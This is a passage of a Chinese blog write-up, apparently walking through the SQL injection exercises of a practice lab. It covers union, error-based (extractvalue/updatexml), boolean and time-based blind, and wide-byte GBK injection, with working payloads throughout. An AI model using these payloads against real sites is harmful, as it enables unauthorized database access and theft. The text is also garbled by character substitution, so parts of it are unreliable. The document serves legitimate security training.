pick靶场-sql注入

甲.数字型注入

数字型注入通常提交值没有引号,因此直接在后面构造语句就能够了。html

 

 

 

 抓包查看前端

 

 

 

 构造语句mysql

 

 

 

 提交后web

 

 

 

 

该数据库表内容被爆出来了。正则表达式

 

乙.字符型注入

 

首先咱们要知道一点,字符串在数据库中提交是须要用引号将字符串包含的。因此字符型注入通常须要用到引号来闭合字符串,闭合引号后就能够接执行的sql语句,就能够执行。sql

name='kobe'数据库

这时候须要构造语句  'or 1=1# 单引号是为了闭合1前面的单引号,#是为了注释掉后面语句后端

 

这里输入kobe提交后显示了uid和email,猜想语句是 select uid,email from 表 where username='输入的值'函数

这里要构造语句,输入的值变成'or 1=1#。那么查询语句就是select uid,email from 表 where username=''or 1=1#'ui

闭合单引号后,把后面一个单引号注释掉。

 

 

 

尝试读取数据库信息。

使用order by 猜表字段数

 

 

 

 

 

 

表字段数为2,开始构造语句

 database() 数据库名

 version() 数据库版本

 user()

 

22'  union select  database(),user()#

 

这里了解下mysql中information_schema数据库,他能够帮助咱们查询更多信息。

 

Mysql 5.0以上中,information_schema数据库会记录当前数据库信息。

information_schema.tables 表名信息

information_schema.columns  列名信息

Table_name 表名

Column_name 列名

Table_schema  数据库名

 

group_concat用来合并多条数据记录,可用来合并结果。

所以,查询当前数据库下表名可使用(group_concat使用与否都可,主要看返回信息。)

group_concat(table_name) from information_schema.tables where table_schema = database()

查询表中列名

group_concat(column_name) from information_schema.columns where table_name = '列名'、

 

丙.搜索型注入

搜索框中的数据库语句通常是采用的查询语句,这里咱们先了解下sql查询语句

SQL提供了四种匹配模式:% _ [ ] [^ ]

 

1. %

%表示模糊匹配0或多个字符,如如下查询语句:

select * from user where name like '%三%'; 这个语句将会把name中带有“三”的信息所有查找出来

select * from user where name like '%三' ; 这个语句将会把name中最右边带有“三”的信息所有查找出来

select * from user where name like '三%' ; 这个语句将会把name中最左边带有“三”的信息所有查找出来

 

2. _

_表示任意单个字符,如如下语句:

select * from user where name like '_三_'; 这个语句会匹配出“二三四”

select * from user where name like '__三'; 这个语句会匹配出“一二三”

 

3. [ ]

[ ]表示括号内所列字符中的一个(相似于正则表达式),如如下语句:

select * from user where name like '老[大二三]'; 若是都存在的话将找出“老大”、“老二”、“老三”

同时支持缩写0-九、a-z等。

 

4.[^ ]

相似于正则表达式,将括号内的元素排除,如如下语句:

select * from user where name like '[0-3]个' 将会检索出除了“0个”,“1个”,“2个”,“3个”

————————————————

版权声明:本文为CSDN博主「MuffinFish」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处连接及本声明。

原文连接:https://blog.csdn.net/qq_36113598/article/details/79372493

 

看题目,首先输入ko,可以查询出来

 

再输入ob,也能够查询出来

 

 

 

很明显,这里使用的语句,应该是%这种类型的模糊查询方式。

猜想语句是select username,uid,email from 表 where username='%输入的值%'

构造语句,直接使用'or 1=1#

'闭合掉字符串,而后使用#注释掉后面的%'

 

 

 

sql语句很灵活,闭合前一个语句后,可使用联合查询查询数据库信息,好比'union select user(),2,3#

 

 

丁.xx注入

先试一试'union select 1,2#

报错显示You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1,2,3#')' at line 1

发现咱们写的语句后面有个引号和括号,尝试构造语句闭合

') union select 1,2,3#

报错select列的数量不匹配,说明执行了咱们构造的语句。尝试改为') union select 1,2#

 

 

爆表数据就要用 ')or 1=1#

 

 

戊.insert/update注入

insert/update/delete注入

在这3种状况中,咱们不能使用 union 去作联合查询,由于这不是查询,而是操做。首先猜想语句类型,是查询类的能够经过union语句来查询。

 

首先,添加用户的地方是对数据库表进行写入操做。

咱们要了解,sql中写入新数据,用的语句是

INSERT INTO 表名称 VALUES (值1, 值2,....)

咱们也能够指定所要插入数据的列:

INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)

使提交报错也印证了语句是用是insert into语句

 

 

 

首先要了解insert注入通常使用的语句

extractvalue(1,concat(0x7e,(database()))) and '1'='1'

extractvalue() :对XML文档进行查询的函数

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操做的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,若是咱们写入其余格式,就会报错,而且会返回咱们写入的非法格式内容,而这个非法的内容就是咱们想要查询的内容。

 

正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即便查询不到也不会报错

 

concat函数是mysql的字符串链接函数

里面能够执行sql语句

select concat(0x7e,(select user()) ,0x7e)

验证结果:16进制也能被自动转义(0x7e是 ~符号)

 

 

下面故意写入语法错误:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))

 

 

 https://blog.csdn.net/zpy1998zpy/article/details/80631036

 就是使extractvalue函数中第二个参数变成~select detabase(),这样与extractvalue函数规定的语法不一样,就会引发报错。

在写入数据的地方使用构造语句

ttt'and extractvalue(1,concat(0x7e,(database()))) and '1'='1

 

 

 

 

updatexml()

作数据修改的时候会存在update注入的地方

 

updatexml()函数与extractvalue()相似,是更新xml文档的函数。

语法updatexml(目标xml文档,xml路径,更新的内容)

报错语句为

select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))

 

 

构造语句

aa' and updatexml(1,concat(0x7e,(database())),1) and '1'='1

 

 

 其实也可使用extractvalue(),只要有报错,会执行咱们构造的语句就成。

 

 

己.delete注入

sql中删除数据通常使用

DELETE 语句

DELETE 语句用于删除表中的行。

语法

DELETE FROM 表名称 WHERE 列名称 = 值

 

点击删除

 

 

抓包看

 

 删除的列名为id,值为59。不为字符串,可直接构造语句

and extractvalue(1,concat(0x7e,(database())))

 url上改直接输入

 

 

改数据包须要使用空格实体或者+

 

 

庚.http header

web渗透不少地方都涉及到数据包头部的改写,我这里就很少说。

 

 

这题很坑的地方在于,不了解后端代码是怎么写的作起来很别扭,由于这题目要显示出包头的信息根本不须要将包头信息存储在数据库中。代码里却是写进数据库了,但后面调用是直接读前端获取到的头部信息,没有从数据库中读取,可能做者是想作个相似访问记录的东西。

 

辛.boolian盲注

根据返回信息判断语句是否正确。

基于真假的盲注主要特征

  • 没有报错信息
  • 不论是正确的输入,仍是错误的输入,都只有两种状况(能够看作 0 or 1)
  • 在正确的输入下,后面跟 and 1=1 / and 1=2 进行判断

 

kobe' and 1=1#
kobe' and 1=2#

发现一条正确执行,一条显示用户名不存在,说明后台存在 SQL 注入漏洞

length(database()) 判断 数据库名称的长度

kobe' and length(database()) >5#

 

SUBSTR函数

 substr(database(), 1, 1) 截取数据库名称第一个字符

ascii(substr(database(), 1, 1)) 截取数据库名称第一个字符,转换成ascii值

kobe' and ascii(substr(database(), 1, 1)) > 105# 判断数据库名称第一个字符ascii值的大小

 

判断出数据库名称后可使用substr(database(),1,1)='字母'#

进行爆破,而后substr(database(),2,1)='字母'#依次爆破,得出完整数据库名。

 

这里简要说明下SUBSTR函数:

SUBSTR函数是用来截取数据库某一列字段中的一部分。

在各个数据库的函数名称不同

MySQL: SUBSTR( ), SUBSTRING( )

Oracle: SUBSTR( )

SQL Server: SUBSTRING( ) ;

经常使用的方式是:

SBUSTR(str,pos);

就是从pos开始的位置,一直截取到最后。

 

还有一种比较经常使用的是:

SUBSTR(str,pos,len);

这种表示的意思是,就是从pos开始的位置,截取len个字符(空白也算字符)。

须要注意的是:若是pos为1(而不是0),表示从第一个位置开始。

————————————————

版权声明:SUBSTR函数说明为CSDN博主「呼啸」的原创,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处连接及本声明。

原文连接:https://blog.csdn.net/howlaa/article/details/16825761

 

壬.延时盲注

构造语句,使语句提交操做延时,来判断构造的语句是否正确。

kobe' and sleep(3)#

该语句表示若是存在kobe,则延时提交3秒。

根据这个方法,能够组合其余语句来猜解当前数据库信息。

 

lili' and if(substr(database(),1,1)='p',sleep(5),1)#

 

 

 

盲注能够经过爆破来辅助猜解,具体参考http://www.javashuo.com/article/p-pqkdzjwg-mq.html

 

癸.宽字节注入

宽字节注入是由于数据库使用了GBK编码,多字节的编码,两个字节表明一个汉字。

注入中单引号存在被反斜杠转义的状况。\',其中\的十六进制是 %5C。%df'被转义成%df\',就变成了%df\'=%df%5c%27,%df%5c 是一个宽字符,也就是縗,也就是说:%df\' = %df%5c%27=縗'。单引号就能够按照初期想法被识别。

构造语句kobe%df%27 or 1=1#,经过网页修改无效,直接修改数据包,成功。

相关文章
相关标签/搜索